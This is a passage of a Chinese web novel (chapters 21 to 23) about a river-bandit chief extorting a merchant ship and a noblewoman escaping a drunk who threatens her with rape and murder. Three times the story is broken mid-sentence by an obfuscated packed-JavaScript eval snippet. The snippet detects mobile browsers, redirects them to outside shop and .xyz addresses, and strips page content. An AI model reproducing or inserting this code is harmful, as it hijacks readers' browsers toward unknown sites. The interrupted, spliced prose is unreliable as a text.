话虽如此，那木片摸着倒还算结实，不会轻易被针扎穿，是以，她也跟着在中指上套了一个，而后在食指、无名指和小指也小心绑上，如此，仍觉得不够心安，又将左手的手指也挨个武装起来，这才别别扭扭地去拿针线。 因着两只手都被木头裹着，接连捻了三次都没拿起来，最后还是在旁笑得乐不可支地范云帮着穿好针、引好线，把针递到她手上。 “崔娘子从前竟没做过针线活吗？” 崔竹喧瞟过范云的动作，无非是把针在帕子上插来插去，深觉自己已经会了，于是大胆地把针头捅进帕子，从反面拉出来，而后再度扎穿，面上一副云淡风轻的模样，“也做过些的，花、鸟、虫、鱼都绣过。” 范云强逼着自己不去看她那不成章法的动作，以免一时没忍住笑得太大声，咬着一抽一抽的唇，问：“那崔娘子现下是在绣什么？” “……竹子，不像吗？” 白帕子，绿丝线，拢共才七八针，绣出条不直不弯、断断续续、歪歪扭扭的线，活像是被撕碎的草沫子掉在上头，形、神皆不似，唯有那点绿色能同竹子攀扯上些关系。 而同样是白帕子，绿丝线，范云那头已利落地绣出了针脚细密的半片叶子，若不是因同她说话耽搁了时间，怕是已然完工了。 崔竹喧看看那方，又看看自己这方，着实寻不出什么褒扬的词句，好半天，涨得脸色通红，“这是、这是特殊的针法。” * 江心，船上。 管他是舵工、缭手，斗手还是碇手，皆被麻绳捆缚住手脚，如同蚂蚱一般沿着桅杆绕成圈，也就是锦衣华服的大肥羊有个稍稍优渥些的待遇，单人单绳被安置在甲板中央。 “搜完了？可别留几只老鼠在我们眼皮子底下窜来窜去。” “放心吧老大，活人都在这儿了！”瘦子拍拍胸脯，信誓旦旦地开口。 匪首点了下头，懒散地起身，行至那个被捆住青年面前，手指轻动，下一瞬，便有一瓢冷水兜头浇下，把那身绸缎晕湿大半，青年这才悠悠转醒，面露惊恐地望向这帮子恶匪。 “你们这般为非作歹、拦河截道，就不怕落得个午门斩首的下场吗？” “你是这艘船的东家吧？” “是又如何，不是又……”青年口中的喋喋不休，在喉头抵住冷刃时戛然而止，他艰难地咽了口口水，重新组织语言，“我、我是。” 匪首并不讲究，曲腿便在甲板上坐下，左手支着脑袋，右手拎着砍刀，刀尖沿着他脖间横纹向后，用曲刃环住他的整个脖颈，只消手头一用劲，便有热腾腾的人头落地，“瞧着眼生，第一次在松荆河走货？” “是，一贯是我兄长走货，但日前他带到南边的货出了岔子，便临时由我走一趟。”青年的声音有些发颤，目光落在那只持刀的手上，好半晌才鼓起勇气，深吸一口气道，“你、你们劫财可以，但是，不要伤人。” 匪首歪头看他，嗤笑一声：“有点胆气，可惜没什么脑子。” “你！” “我怎么了？”匪首随意将手往回收了些，冷硬的刀刃便陷进他的皮肉，虽未见红，青年已然被吓得脸色煞白，而说话人却于此时，恶劣地扬起唇角，“初次见面，自我介绍一下，我叫寇骞，在这松荆河上讨生活，不爱杀人，只是挣些辛苦钱。” 水匪头子说自己不爱杀人，可信吗？ 可此情此景，由不得他不信。 青年僵硬着一张脸，苍白的唇抖动，好一会儿才有声若蚊蝇的词句冒出，“我、我叫金玉书。” 寇骞满意地点头，互通姓名后，便可详谈正事，正欲同他仔细说说这八百里水泊的规矩，后头却突兀地插进来一句喊声：“寇老大！” 声音来自桅杆那被捆住的一堆蚂蚱。 “寇老大，我们见过的！这、这都是误会啊！” 寇骞面上的笑倏然敛了，语气无甚波澜，“认得我？” 后头惊慌的声音还在继续，“该准备的东西，我们一样不少，都是照着您的规矩来的！” 不多时，便有三四口木箱被抬了上来，阿树率先上前，用刀尖将箱子挑开，各式各样的货物琳琅满目，绫罗绸缎、胭脂水粉，还有十数条银铤横陈其间。 依着规矩，凡往松荆河走商的船只，需将每种货品都备上一份，再添些金银，用以买路——当然，也可以不买，但是水深风浪大，这船行河上，谁知道会不会沉呢？ “寇老大，您可点点，只多，不少！”男人肥头大耳，肤色黝黑，自称是这艘船的舟师，脚上的绳索刚松，便腆着脸凑到寇骞面前，将金玉书挡在身后，“我家小公子第一次出远门，不懂规矩，气性又大，整日在舵手面前指手画脚的，这才不慎偏航，没赶上给寇老大送礼。” “是这样？”寇骞似笑非笑地看过去。 “正是如此！”男人应得诚恳，金玉书面上倒是似有不忿，却迫于周遭的刀刃，不敢作声。 “下回？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|13810890|146112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “一回生二回熟，下回哪还能忘了规矩？” 无非就是想试试能不能躲开他们这窝水匪，省一笔银钱罢了，追究也不过是宰两个人，再多索些钱，麻烦得很。 “你们这船是去哪的？”寇骞忽然问。 “……胥江。”男人一时摸不清他的意思，方才应声，便听他继续追问。 “返航时去哪？” “去、去汾阳，寇老大是有什么吩咐吗？” 寇骞微微凝眉，转而望向桅杆，摆摆手，遣人将那些个船员尽数松开，自寻了个空闲地躺下，其他人大抵也是这般，零零散散地遍布整艘船。 船员们一声不吭地回了自己的岗位，金玉书则是目光四处打量一番，背着人将舟师拽进船舱，气愤地问：“不是给钱了吗？他们怎么还不走？” 舟师理了理被捏皱的袖子，不以为然，“哎呀，这是规矩，他们在这儿待着，能保着我们不被旁的水匪滋扰。” “要我说，最开始就不要绕那一手，弄得大半夜的挨一下，得亏这伙人只图财，不然我们这一整船人都翘辫子了！直接本本份份地把钱交了，客客气气地把人迎上来，再客客气气地把人送走不久结了？他们要的又不多，权当是多雇了几个护卫，再不行，就算是打发叫花子了呗！” “朝廷就没人管管吗？”金玉书忿忿不平。 “这剿匪得要兵啊，兵是能随随便便动的？”舟师轻叹口气，安慰道，“这么多年不都是这样过来的？这几年姓寇的这窝水匪出来后，还更太平些，人都少死几个，有什么不好的？” “你！这松荆河上水匪盛行，就是你这种人惯出来的！” 金玉书只觉话不投机，聊出了满腔怒火，甩袖出去，兀自立到甲板上吹风。 如此醒神片刻，眼角余光瞥到歪歪斜斜躺在船舷边的人，目光微动，右手探入左袖中，握紧匕首，不动声色地靠近。 今日被俘，不过是这匪徒无赖，夜半偷袭，重新较量一番，焉知他不能生擒水匪，为民除害？ 他脚步极轻地横移过去，呼吸放至最缓，一步、两步……十步……二十步…… 金玉书手心收紧，刀刃出鞘前，却先对上一双森冷的眼。 “你要是先坏了规矩，可就不能怪我和我的手下也跟着坏规矩了。”寇骞嘴角带着笑，却笑得人脊背发凉，这是实打实的威胁了，要是他敢动手，这整船的人都得赔命。 金玉书恨恨地将手松开，转身欲走，到底心里过意不去，再度开口：“既拿了东西，就赶紧走，我才不会雇一帮子水匪当护卫！” “你，确定？”寇骞靠着船舷坐起身，微微挑眉，“如我这么守规矩的水匪，可是过了这村就没这店了。” “不过是因日前风浪大，船上人被闹得筋疲力尽，这才让你们钻了空子，即日起，船上会日夜巡逻，绝不会再给你们这些宵小任何可趁之机！” 寇骞眨了眨眼睛，敷衍一笑，起身拍去衣上的尘，朗声道： “兄弟们，收工了！” 21. 021 夜鬼叩门 寇骞翻过船舷，犹如一尾急待归江的鱼，自高处直直跃下，踏在竹筏上，荡起一层清波。而后是更多的鱼，跟随着他的步伐，带着缴获的战利品，从大船奔向小舟，摆渡向自由。 浮浪扬起又相撞，碎成一圈圈涟漪，向外散去。不过须臾间，江面辽阔，江水无痕，江上形同鬼魅的匪，便同这被日光照彻的水雾，一并被驱散至形影无踪。 大船顺水而下，小舟逆水往上。 竹筏上载着几口木箱，拴上绳索，跟着前头的舟楫，舟楫里是两个人，一躺一坐，坐着的是阿树，正一手一根船桨费劲地划着水，目光幽怨地盯着面前人，忿忿不平。 “老大，你好歹也出点力啊！我都划一路了！” “不想划？”寇骞懒懒地撑起眼皮，就见阿树小鸡啄米式地连连点头，慢吞吞地扯动唇角，一副脾气极好的模样，“那就别划了，桨放下，游回去。” 阿树面上的笑容一寸寸崩裂，攥着船桨，扭头将水面上倒映的人影砸得稀碎，饶是如此，仍不解气，嘟嘟囔囔地说着坏话，“你咋不游回去呢？就知道使唤我！” “能三更天不睡觉，给小娘子生火做饭，就不能动手划两下船……咕噜噜……” 阿树话未说完，便已挨了一脚，当头栽进了江里，扑腾得水花四溅，引得周遭的笑声不绝于耳，船上人却只悠悠开口：“换牛二过来。” 把这个嘴碎的撵开，换个人来划船，总该消停些，寇骞想。 可新的笨头笨脑的人上了船，摸上船桨，手上使劲，嘴皮子亦不得闲，“老大，你今天怎么带着把砍柴刀出来打架？” “……要你管？” * 因着崔竹喧的刺绣技艺着实有限，一个下午别说是成品，便是个雏形也没能完成，只好把帕子往怀里一塞，声称要再费心钻研几日，实则把这糟心玩意儿带走，免得留在这丢人现眼。 用罢晚饭，是范云提着灯送崔竹喧回去的，临走时，将灯笼给她留了一个，还不忘嘱咐她两句。 “夜里可千万不要开门，不管敲门的人说什么都不能开，若有要紧事，寻你一个外人自然无用，若是鸡毛蒜皮的小事，更用不着三更半夜上门，全都不要理会就好。” 寇骞也同她说过类似的话，不要给陌生人开门。 好笑，她又不是三岁小孩了，哪会连这点小事都要人处处提点着？ 崔竹喧点头应是，将院门合拢，插上门闩，将灯笼挂在檐下，并不吹熄里头的蜡烛，由着烛火盘踞在灯芯，将烛身一点点烤化，而她则借着火光，在院内来来去去。 无他，缺了帮忙烧洗澡水的寇骞，她便只能硬着头皮自己动手了。 后院有井，但崔竹喧不会用，且依照她的力气，即使会用也拎不动整桶的井水，所幸，她不必从那么麻烦的地方取水。厨房有个能同时钻进两三个人的大瓮，掀开木盖，便能见到里头盈满的水。 泡澡是没办法了，但将就着用布巾擦洗身子还是能做到的。 崔竹喧将厨房的门窗尽数合拢，用瓢将清水舀进盆里，而后将身上的衣物褪去，用浸透的布巾慢条斯理地擦洗，脖颈、脊背、腰腹，每擦完一处，便将门支开一条小缝，把脏水倒出去，而后盛上新的。 白日放了晴，要比前几天热些，不必担心受凉，她便洗得格外慢。 夏夜静谧，除了几声蝉鸣，无非是她折腾出的稀里哗啦的水声，却于此时，突兀地插进一点沉闷的碰撞声——有人叩门？ 崔竹喧当即停了动作，屏住呼吸，侧耳贴着门板，那声音仍在继续，三长一短，也不知是巧合还是蓄意为之。 顾不得第二遍澡只洗到半途，第三遍澡尚未来得及开始，浑身湿漉漉的，她便抓起旁边的衣物着急忙慌地往身上套，所有的系带乱绑一气，好赖是穿上了，可抓起菜刀，附耳再听，那敲门声不知何时已停了。 走了？ 将呼吸放到最轻，又候片刻，确实没有动静。 许是以为屋里没人？ 紧绷的弦稍稍松了些，崔竹喧将菜刀背在腰后，用指尖将门支出一条小缝，因有灯烛相照，看得还算清晰，好像无人。 她将门推得更开了些，探出一个脑袋，左右环顾，应是无人。 门被彻底推开，她攥着刀柄，围着屋子绕了一圈，又检查过门闩，正好好地插在上头，确实无人。 不过是虚惊一场，崔竹喧想。 她把菜刀放回厨房，而后走到檐下，欲将灯笼里的烛火吹灭，眉眼低垂，面前却突然一暗，一个巨大的黑影将她笼罩在内，再抬眸时，灯笼后，是一双猩红的眼。 她认得这双眼睛，来自臭烘烘的酒鬼，酒鬼满脸横肉，慢慢地咧起嘴角，露出泛黄泛黑的牙，那牙并不齐整，歪歪斜斜地挤在一块儿，一颗颗被磨成锯齿状，不似人，更像是凶恶的兽。 猩红的眼紧盯着她，尖锐的牙一张一合，涌出一股令人作呕的恶臭。 “小娘子，还记得我吗？” 他们只说，不要开门，却没人说，有人闯进门内应当如何。 想逃。 想叫。 想哭。 各种念头交织到一起，汇成一种名叫恐惧的情绪涌上心头，浑身血液恍若倒流，每一根骨头都在发抖，她艰难地呼吸着，好一会儿，才寻回了自己的声音，却低若蚊蝇，旁人听不清，又或者，她自己也不知道她说了什么。 酒鬼往前凑近了些，她却猛然退了一步，恶狠狠地瞪过去，威胁道：“你偷闯进来，就不怕寇骞教训你吗？” 酒鬼的动作犹疑一瞬，面上的笑容却更大了些，解释道：“怎么会是偷闯呢？我见着门没关，怕屋里遭了贼，便进来看看。” 门分明是关——开的？ 她不可置信地望过去，门闩被随意地扔到一旁，与黄泥野草作伴，门板大敞着，露出深不见底的夜色，好似囚牢，好似兽口，都在逼着她、催着她认命赴死。 她扭回头，故作镇定地回答：“既然看过了，没贼，那就走吧。” 酒鬼哧哧地笑起来，五官扭曲地挨挤到一处，“你是老大的女 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13810891|146112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 人？” 崔竹喧下意识想否认，可又想到白日里范云说的话，整个白原洲都听寇骞的，面前的这个酒鬼也是一样，她心一横，倨傲地看过去，“你既然知道，还不恭敬些？得罪了我，寇骞不会放过你的！” 她本意是威慑，孰料这酒鬼却像是听到了什么荒诞的笑话，扶着墙大笑，笑声呕哑，与其说是笑，不如说是野兽的嘶吼，令人毛骨悚然。 “今天不下雨，他回不来的，”酒鬼两只浑浊的眼珠子在肮脏的眼眶打转，目光愈发露骨，肆意地黏在她身上，一寸寸爬过去，“真是漂亮啊，他留你一个人独守空房，一定很寂寞吧？难怪，你要来勾引我了。” “你在说什么胡话？我何时勾引你了？” “小娘子敲了我家的门，不就是想跟我上床吗？放心，我不会亏待你的！我保证，一身的力气都用在你身上，保管让你……” 崔竹喧忍不住向后退去，恼恨自己为何不抱着菜刀过夜，恼恨这人满口的下流词句，恼恨寇骞收了她的金簪，在这种时刻却没了人影，泪水盈满眼眶，她只咬唇强忍着，恶声恶气地警告：“就算寇骞今天不回来，过两天也是要回来的，你如此行事，等他回来，他一定会杀了你！” “只要小娘子不告状，此事自然不会被他知道。” 她怎么可能不告状？她定会让寇骞像片鱼一样，把这人生剐了！ 酒鬼一眼便瞧出了她的想法，狞笑道：“小娘子可以主动跟我好，我是奸夫，你是□□，我们可以一起瞒着他，长长久久地好——又或者，小娘子奋力抵抗，或是撞墙自尽，反正人刚死，身体还是温温热热的，做起来差不多，等完事了，我把你往水里一丢，你猜，他能不能找到你？” “没准儿找都不找吧？兴许以为你是偷偷抢了船，渡河逃跑了，以往，也不是没有过这种事。” 别说以往，她到这的第一天，不就这样做了吗？ “出了白原洲，他就不会再管你了，可惜小娘子这般细嫩的皮肉，就要泡在江里，被鱼虫啃食，日日夜夜都不得安宁啊！” 一股寒意涌上心头，蔓延至四肢百骸，悬在眸中的泪滴终是滚落下来，如一颗颗晶莹的珠，而后穿成线，自此一发不可收拾。 崔竹喧真的怕了，她向来自诩崔氏贵女，自来只有她欺压别人的份，甚至无需欺压，凡入目可及之人，皆是要奉承讨好她的，莫说是斥责辱骂这般重话，便是平平常常的一句拒绝她都鲜少听到，还是第一次遇上这般肮脏龌龊、威胁恐吓。 “小娘子，想好了吗？要不要从了我？” 许是怕到极致，她反倒冷静了下来，攥紧衣摆的手倏然松开，面上的泪痕未消，她却扬起唇角，粲然一笑。 灯下看美人，色更添三分。 微黄的烛火照得夜色朦胧，美人肌肤如玉，眼尾垂泪，一副楚楚可怜相，真真叫心头直痒，酒鬼目光愈发火热，一时竟看痴了，口中喃喃：“小娘子……” 他看着朱唇轻启，而后吐出了世界上最美妙的声音。 “好啊！” 22. 022 皮肉同焚 酒鬼色迷心窍，急吼吼地冲上前，大张着双臂，欲将人揽进怀里，偏美人莲步轻移，叫他扑了个空，他正待发作，却见崔竹喧斜倚着门框，巧笑嫣然，于是那点怒意又轻飘飘地散了，沉醉在这欲迎还拒的小把戏中。 “你确定要在这儿吗？”崔竹喧问道，眼睫低垂，掩住眸中的一抹暗色。 白原洲人烟稀少，屋宅分布得零散，寇骞的居所更是在这荒芜地中的偏远处，若在此同他纠缠，就算侥幸再寻了菜刀入手，凭她那点气力，怕是也无法同这样膀大腰圆的壮汉相抗，不如诱他出去，或能找到几个帮手。 “这是寇骞的屋子，他这人一贯谨慎，你我在此厮混，他定能察觉。” 酒鬼面露迟疑，到底在刺激和小命中选择了后者，“去我那。” 崔竹喧矜贵地点下头，提了灯笼在手，努努下巴，示意这人上前头领路。 于是，一人一鬼一盏灯，依次行入漆黑的夜色。 * 船行数个时辰，终于寻到一方陆地靠岸。 松荆河水域宽广，纵横南北，水中大大小小的洲沚多不胜数，白原洲是其中之一，眼下登上的青启洲亦然。 相较于只有零散房屋拼凑成的、一片荒芜的白原洲，青启洲就要热闹得多。许是因着这久违的晴天，各个洲渚的人都汇聚于此，沿河的堤岸有多长，密密麻麻拥堵在一起的船只就有多长，行人满道，只是无一例外，腰间都带着兵刃。 这是一个好地方，但不是好人待的地方。 留下一个牛二看船，其余人则合力抬起木箱，踩过湿软的泥沙，经由各种各样的小摊，在各色凶神恶煞的摊主不怀好意的打量目光中穿行而过，止步在这洲上唯一一间客栈前。 “寇老大，有些日子不见了啊！”柜台内的人摆出一张笑脸，眯成细缝的眼睛往后一瞟，见着需有两人合抬的大木箱竟有三个之多，面皮上又多出了几道新褶，由衷地赞叹道，“不愧是寇老大，一出手就是大生意！” 寇骞从怀里摸出一条银铤抛过去，“房留着吧？” “自然，自然！”掌柜的捧着银铤用后槽牙一咬，面上登时乐开了花，用衣袖将银铤上的口水仔仔细细地擦拭干净，这才小心地存放好。 而寇骞一行，早在他应声那刻，便大摇大摆地上楼去了。 沉重的木箱在厢房里一字排开，掀了箱盖，便可挨个挑选里头的物什了，看上眼的留下，看不上眼的则转手卖了，就如之前路上的摊贩一般，聚在一起，相互销赃。 他们今日劫的是艘商船，东西多而杂，最上头的最值钱，下头则混着占位置的陶罐、瓦罐、锅碗瓢盆，甚至在底下铺了几袋粟米用来凑数，是那些船家惯用的小伎俩了，不算罕见。 阿树盘腿坐在地上，兴致缺缺地把东西分门别类地归置，一张脸皱巴成了苦瓜的模样，“啧，早知道在船上的时候仔细瞧瞧了，看着这么几大箱，尽是些不值钱的玩意儿！” “除了这儿，你还能上哪花钱去？能用得上就好，免得哪日缺了，翻遍各个摊子都寻不到！”边上的络腮胡子反驳道，乐呵呵地挑挑拣拣，将几个碗碟放到自己身边，“好些日子没下水，我吃饭的家伙事儿都烂得不成样子了，他大爷的，喝口热汤还得当心别割烂了嘴！” 阿鲤将半个身子探进箱中，没寻到想要的笔墨纸砚，却在夹缝里扯出一本粉色封皮的书来，她翻了翻，全是字，也全不认得，“这个你们要吗？” 数个水匪皆抬头看过去，而后异口同声地回答：“不要。” 白原洲没有学堂，也没有教书先生，这也就意味着，这帮子人，有一个算一个，都是文盲，瞧见那芝麻绿豆点大的黑方块，脑子就直抽抽，相比之下，那些锅碗瓢盆都开始眉清目秀起来。 于是阿鲤又捧着书跑到寇骞面前，寻求这位水匪中少有的知识分子的意见，“老大，这个你要不要？不要的话，可以给我吗？” 寇骞扫了眼封面上的字——“春心乱”，大约是那些文人爱读的话本子，就算拿出去卖也卖不掉，通常被他们这种匪寇用来引火和垫桌脚，他懒散地点了头，阿鲤便欢欢喜喜地把书藏进怀里。 阿树继续翻着东西，丝绸和珠钗价贵，可能得卖个几日，胭脂水粉倒是好出手些，不管是女匪买去自用，还是男匪拿去讨好人，都用得上，阿树顺手塞了一盒进自己兜里，再要去拿，却见那个万事不管的匪首把剩余的七八盒给包圆了。 他不禁撇嘴，用脚后跟想，他都知道这些会被送去哪，那小娘子拢共才生了巴掌大的一张脸，涂得完嘛就！ 腹诽颇多，面上却挂着笑，“老大，那我们出去卖货了！” 匪首敷衍地应一声，已然枕着手臂躺床上补觉去了。 * 夜黑风高，最宜烧杀抢掠。 灯笼里的烛光微弱，因着风，因着脚步，因着慌乱的心跳一并摇曳着，半明半昧间，只将这条小路照出些模糊的、飘摇的轮廓，远处高山宛若正在休眠的巨兽，道前的屋舍亦如蛰伏中的猛禽，天地间黑洞洞的，囚住了她，还往她的笼中放进一只恶鬼。 她认得这条路，认得此行要去的尽头，她不免想将脚步放慢些，兴许能碰上哪个夜归人，帮她宰了这恶鬼。 可没有，一个都没有，路上幽寂，莫说人声，甚至连鸡鸣狗吠都无，乃至白日里喋喋不休的蝉，亦生了惧意，躲藏进枝叶草丛间。 她又想加快些脚步，这处无人，兴许前头有人呢？她若是走快些，能不能快些得救？ 可身边那到粗重的脚步忽然停了，她不得不跟着停下，转头看去，那张鬼脸上正洋溢着喜色。 “到了，小娘子且等等。” 崔竹喧攥着灯笼的提手，惴惴不安地立在一旁，酒鬼背对着她，在腰间摸寻着，于叮叮当当的声音中扯出了一根绳，被汗渍、酒渍、油渍又或更多无名的污垢侵染的绳，上头串着零碎的铜板和一把生了铜锈的钥匙。 钥匙插入锁孔，发出咔哒一声轻响，只需手腕用力，再一声响，锁就该开了。 酒鬼热得口干舌燥，崔竹喧冷得寒意刺骨。 电光石火间，崔竹喧抓紧灯笼，猛得往他后脑勺一砸，抛弃了灯，甩脱了鬼，孤身奔逐进浓得化不开的黑暗中去。 不过是细竹条编织的骨架，杀伤力甚至比不得脚边随意一块石头，那点撞击的疼痛压根儿不值一提，但笼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|13810892|146112||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 内的烛却被震了下来，鲜亮的火舌一舔，就将外头的那层薄纸烧穿，灼热顺着焦黑的洞口往周遭蔓延，又不肯止步于此，借着风势，爬上头发，爬上衣领。 这回便不只口干舌燥了，还有皮肉同焚。 崔竹喧拼命地往前逃去，十数年来的循规蹈矩，皆于今夜碎了个干净。 眼前是一望无际的黑，身后是以人肉为炬的光，耳畔的风呼啸着，带来厉鬼的嘶喊、哀嚎，脚下的淤泥深深浅浅，大抵每一步都能溅起污水与泥点，缠上她的鞋袜，衣摆，试图阻拦她的脚步。 不能停，绝对不能停！ 她绝不能死在这种无名处，做一只孤魂野鬼。 呼吸愈发急促，明明是每时每刻都做惯了的事，却于此刻变得无比艰难，有尖刺、有利刃，皆顺着入口的风，一寸寸扎穿她的喉骨，剜开她的血肉。 她不敢回头，她怕看见一张狰狞的、血肉模糊的脸，可那始终缀在身后的惨叫声，无疑是那鬼愈来愈近。 只要、只要她能敲开一扇门，躲进去—— 慌不择路的脚步，让她早已偏离了白日记下的小道，她只能大睁着眼睛，在黑暗中竭力分辨，目前终出现一处屋宅，她来不及多想，直直地冲过去，用拳、用掌不顾一切地敲打着木质的门板。 “有人吗？开门啊！” “救命啊！” 门框被砸得颤动，抖落了一层飞灰，腐朽的门板嘎吱作响，可始终未开。 崔竹喧低眉，这才发现，门前挂着一把铜锁。 门是从外锁的，证明，屋内无人。 她急忙弃了这处，去寻下一个庇护所，可一个、两个、三个……无一例外，门上皆挂着铜锁。 怎么会没人呢？ 她倏然想起，今日是晴，寇骞早早便出门打渔去了，这些屋宅的主人应是同他一般，不到三日，不会归来。 可、可这白原洲，总该有人剩下的。 于是，崔竹喧不再一间间去试，只奋力向前跑着，企图在这夜幕中寻到些光，若有烛光，定是有人。 不知是踩着了石块还是泥洼，她跌了一跤，脚踝、膝盖还有手心，每处都是生疼，可能淤青、可能破皮、可能流血？她分不清，分不清哪处伤重，哪处最痛，仓惶地爬起身，纵是步履蹒跚，也好过待在原地等死。 “开门！救命！” 她宛若坠入江潮的虫蚁，在水浪中沉溺，望见那抹光时，好似寻到了最后一根浮木，她竭力呼喊着，用最后的气力叩门。 纸糊的窗棂里透出人影憧憧，她看见那人影动了，目光一瞬间亮了起来，指尖扶着门板，只觉上头粗粝的、老旧的纹路都开始变得亲切起来，面上的惊惶变成了即将得救的欣喜，她回头张望，那个被烈火灼烧的厉鬼好似也没那般可怕了。 崔竹喧俯身抓起脚边的石子，用不甚好的准头朝他砸去，或多或少，总是能让他的脚步再慢些。 她背靠在门板上，侧身贴着门缝，只消里头的门闩一拉开，她就能以最快的速度钻进去。 她就要得救了，她想。 可下一瞬，窗内的烛光灭了。 她赖以求生的浮木，沉下去了。 23. 023 亡命之徒 夕阳垂暮，一片黛黑色的天，唯留下半角金色的余晖，白日式微，夜晚的热闹却才刚开始。 一行人占据了靠窗的三张桌，背靠着江水，喝酒吃肉，至兴起时，阿树一手抱着酒坛，一手端着酒碗，在大堂里挨桌挨个划拳过去，赢家喝酒，输家也喝酒，醉醺醺地扯着嗓子唱着山野小调，同悦耳无关，只吵得人脑仁疼。 寇骞倚着窗框，望着江上皎洁的月，慢悠悠地喝着碗里的酒。 白原洲荒芜，地少人更少，哪怕是普通一把下锅的米，也得从外头搞来，或偷，或抢，又或是乘一只小舟飘零江上，向过路的船只，沿岸的行人乞求、讨要，毕竟土里种不出庄稼，洲上开不起米行。寻常时间还好，若碰上这种汛期，即使带回了米粮，依旧得紧巴巴地过日子，谨防在连绵不断的雨中活生生饿死。 其它洲渚，大大小小，皆类于此。 是以，于他们而言，最快活的时光无非是待在这青启洲，为碗中米肉，为坛中酒水，为这份吃喝不愁，为这份几可媲美河对岸的汾桡县的热闹，故有不可渡河者，四处劫掠，成为江上剿之不尽、灭之不绝的水匪——寇骞亦是其中之一。 碗中酒饮罢，他倾坛又斟一碗，清冽的酒液入喉，他却没尝出什么畅快，食之无味，他想。 兴致缺缺地撂了碗，自己无甚食欲，却忧虑起另个人的晚餐来。 小祖宗嘴刁，也不知吃不吃得惯范娘子的手艺，若是吃不惯，怕是又要靠那些果脯点心充饥了，一顿还好，若是饿上三天……她还爱干净得很，非得日日洗澡，今天天热些，用冷水应当不至受凉……她娇气，得要人时时刻刻哄着，一个人闷在屋子里，怕是会无聊…… 他忽而觉得，青启洲好像也没那么好，至少现在，搅得他一颗心静不下来。 寇骞坐在窗框上，用垂下的一只右脚踢了踢桌腿，“玩够了没？回去吧。” 阿树放下酒碗，用混沌的脑子思索了好一会儿，打了一个响亮的酒嗝，逗得一桌人歪七扭八地笑着，“这、这么早？老大，你先上去睡吧，我们、再、再喝会儿！” “不是回房，是回白原洲。” 阿树愁眉苦脸地抗议道：“好歹睡一晚再走啊！” “东西都置办齐了，想喝回去再接着喝，”寇骞从窗台上翻下来，“都醒醒神，走了！” 任谁玩乐到一半被突然叫停都是不高兴的，但叫停的人是顶头的老大，纵然心中多有不忿，还不是得闷头抱着船桨划船。 一只只小舟沿江而去，于夜风相背的方向，惊起阵阵涟漪。 “就晓得催催催，自从见了那小崔娘子，见天的就赶着过去献殷勤。”阿树嘟嘟囔囔的，大抵是酒壮怂人胆，几碗酒下肚，他都敢当着正主的面骂骂咧咧。 念在不能往江中新添水鬼的份上，寇骞到底忍着没用船桨把这个碎嘴子挑进江里，只是后悔给范娘子塞银子时，没委她将这人的上下嘴皮子给缝严实，迎着一嘴的江风，还堵不住他的喉咙。 约是月上中天时，舟楫重新靠岸，将栓船的麻绳捆好，一窝水匪携赃物归家。 “老大，送哪去啊？” 牛二活动了下手臂，同阿树合力将箱子抬起，往常这些东西都是送去寇骞那存着，等得了空，再大家伙儿瓜分，现下谁都知道，寇骞的屋子住了个外人，那再送过去，就不怎么合适了。 “就你们那吧，今夜便分了。”寇骞接过火把，在前头领路，思忖着明早是不是该去哪搞两条活鱼，假称是自己捕的，免得小祖宗起疑心。 偏于此刻，夜风中却传来飘渺的人声，似是哭喊，似是呼救，瘆人得很。 小喽啰被激起了一身的鸡皮疙瘩，往手臂上搓了搓，小声道：“咱不会是把江里的水鬼也载回来了吧？” “屁！”阿树颇为不屑地扫过去一眼，反驳道，“你耳朵倒着长的是吧？江在后头，这声音是前头传来的，是吊死鬼、饿死鬼、短命鬼都不可能是淹死的水鬼！” 牛二也奇怪道：“咱又没杀过女人，便是闹鬼，也该闹男鬼啊，闹女鬼算怎么个事？” 话音刚落，风里又掺进了凄厉的男声，痛苦地哀嚎着。 牛二点点头，乐道：“诶，这就对味儿了不是？男鬼！” 小喽啰吓得脸色发白，声音发颤，几乎要哭出来，“这、这怎么又来一只？两只鬼，这日子可怎么过啊！” “鬼什么鬼？出事了！”寇骞眸色一沉，声音冷厉地吩咐道，“留两个人守东西，其他人提刀跟我走。” * 范云千叮咛、万嘱咐，让崔竹喧夜间无论如何都不要开门，那旁的人家，是否也曾被这般告诫过呢？所以，才会有了她如今的呼救无门。 酒鬼的头发被火烧去了大半，裸露在外的头皮被烫得焦黑，衣料沾着溃烂的皮肉，淌出的液体也分不清是污血，还是烤炙的人油，他愈发得像一个鬼了，或者说，他就是鬼。 “臭娘们，老子绝饶不了你！” 崔竹喧僵在原地，感觉从头到脚一阵寒意，指甲刺进手心，仍止不住颤抖，“别、别过来！” “我是虞阳崔氏女，你敢动我，就不怕九族被处以极刑吗？” 